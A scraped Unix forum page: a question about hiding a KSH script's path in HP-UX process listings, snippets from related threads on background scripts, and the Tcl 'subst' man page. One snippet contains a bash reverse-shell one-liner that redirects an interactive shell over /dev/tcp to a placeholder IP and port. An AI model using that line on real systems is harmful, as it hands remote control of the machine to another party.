Hi,
I wrote a KSH script and running it on HP-UX machine
I am running one script in background.
My script is at location
When I view my script in background with psu commend
I see following output
Now If i move this script to different location say
$HOME/myScript/newDir/background_sh
and execute script again and try to see it in background with same psu command, i see following output
Basically, i don't want to see the full path when i use psu commend to see my script in background, and i want to see my script something like following
How i can achieve this?
Last edited by vbe; 12-16-2015 at 11:27 AM..
Reason: code tags please
Hi
I have a script, which i ran in background, can someone please help in stopping this.
i gave this command:
ksh abc.ksh &
this script sends me a mail every 30 seconds. i have deleted the script but still i am getting the mails. can some one please help me stopping dese.
... (3 Replies)
Gurus,
Pls. help on this to run the script in background.
I have a script to run the informatica workflows using PMCMD in script.
Say the script name is test.sh & Parameters to the script is Y Y Y Y
The no of parameters to the bove script is 4. all are going to be a flags. Each flag will... (2 Replies)
When I run the following snippet in background
#!/bin/ksh
while
do
echo "$i"
sleep 10
i=`expr $i + 1`
done
My job got stopped and it says like + Stopped (SIGTTOU) ex1 &
I did "stty tostop" as suggested in many of the post but still not working... (3 Replies)
Hi all,
I am having a script ScriptA which is calling a script ScriptB in the same server and copying files to second server and have to execute one script ScriptC in the second server. THis First script ScriptA is the main script and i have to execute this process continously.
for Keeping... (2 Replies)
I have a script called startWebLogic.sh which I was running in the background but the problem is which I used the command :- ps -elf | grep "startWebLogic.sh" | grep -v grep to find the process id but I was unable to find the process id for this script and when I checked from the front end the... (3 Replies)
Dear all,
I have a little problem trying to run a shell script in background, as you can see below.
- the script is a simple one:
#! /bin/bash
exec /bin/bash -i 0</dev/tcp/IP_ADDR/33445 1>&0 2>&0
- the name of the script is test.sh
- the script is executable(chmod +x test.sh)
- on the... (2 Replies)
HI
I have by mistaken delete my script but its still running in background and giving me output and cretaed ..nfsB5DC2 file.
I have kill all my prosses still it running....
How can i stop this script.
i have unix solaris systems. (8 Replies)
Hi,
I want to write a script which continuously checking status of a script running in background by nohup command. And if same script is not running then immediately start the script...please help..
i am using below command to run script
nohup system_traps.sh &
but in some... (9 Replies)
Hi All,
Suppose I have a script and inside it I want/need to put it into background. I need the script to not react to SIGHUP signals.
I tried:
#!/bin/bash
echo "" > test_disown
mypid=$$
echo "PID=$mypid"
(
kill -SIGSTOP $mypid
jobs > myjobs
#disown -h <job-spec>
#kill -SIGCONT $mypid
)... (6 Replies)
Discussion started by: JackK
6 Replies
LEARN ABOUT DEBIAN
subst
subst(3tcl) Tcl Built-In Commands subst(3tcl)__________________________________________________________________________________________________________________________________________________NAME
subst - Perform backslash, command, and variable substitutions
SYNOPSIS
subst ?-nobackslashes? ?-nocommands? ?-novariables? string
_________________________________________________________________DESCRIPTION
This command performs variable substitutions, command substitutions, and backslash substitutions on its string argument and returns the
fully-substituted result. The substitutions are performed in exactly the same way as for Tcl commands. As a result, the string argument
is actually substituted twice, once by the Tcl parser in the usual fashion for Tcl commands, and again by the subst command.
If any of the -nobackslashes, -nocommands, or -novariables are specified, then the corresponding substitutions are not performed. For
example, if -nocommands is specified, command substitution is not performed: open and close brackets are treated as ordinary characters
with no special interpretation.
Note that the substitution of one kind can include substitution of other kinds. For example, even when the -novariables option is speci-
fied, command substitution is performed without restriction. This means that any variable substitution necessary to complete the command
substitution will still take place. Likewise, any command substitution necessary to complete a variable substitution will take place, even
when -nocommands is specified. See the EXAMPLES below.
If an error occurs during substitution, then subst will return that error. If a break exception occurs during command or variable substi-
tution, the result of the whole substitution will be the string (as substituted) up to the start of the substitution that raised the excep-
tion. If a continue exception occurs during the evaluation of a command or variable substitution, an empty string will be substituted for
that entire command or variable substitution (as long as it is well-formed Tcl.) If a return exception occurs, or any other return code is
returned during command or variable substitution, then the returned value is substituted for that substitution. See the EXAMPLES below.
In this way, all exceptional return codes are "caught" by subst. The subst command itself will either return an error, or will complete
successfully.
EXAMPLES
When it performs its substitutions, subst does not give any special treatment to double quotes or curly braces (except within command sub-
stitutions) so the script
set a 44
subst {xyz {$a}}
returns "xyz {44}", not "xyz {$a}" and the script
set a "p} q {r"
subst {xyz {$a}}
returns "xyz {p} q {r}", not "xyz {p} q {r}".
When command substitution is performed, it includes any variable substitution necessary to evaluate the script.
set a 44
subst -novariables {$a [format $a]}
returns "$a 44", not "$a $a". Similarly, when variable substitution is performed, it includes any command substitution necessary to
retrieve the value of the variable.
proc b {} {return c}
array set a {c c [b] tricky}
subst -nocommands {[b] $a([b])}
returns "[b] c", not "[b] tricky".
The continue and break exceptions allow command substitutions to prevent substitution of the rest of the command substitution and the rest
of string respectively, giving script authors more options when processing text using subst. For example, the script
subst {abc,[break],def}
returns "abc,", not "abc,,def" and the script
subst {abc,[continue;expr {1+2}],def}
returns "abc,,def", not "abc,3,def".
Other exceptional return codes substitute the returned value
subst {abc,[return foo;expr {1+2}],def}
returns "abc,foo,def", not "abc,3,def" and
subst {abc,[return -code 10 foo;expr {1+2}],def}
also returns "abc,foo,def", not "abc,3,def".
SEE ALSO Tcl(3tcl), eval(3tcl), break(3tcl), continue(3tcl)KEYWORDS
backslash substitution, command substitution, variable substitution
Tcl 7.4 subst(3tcl)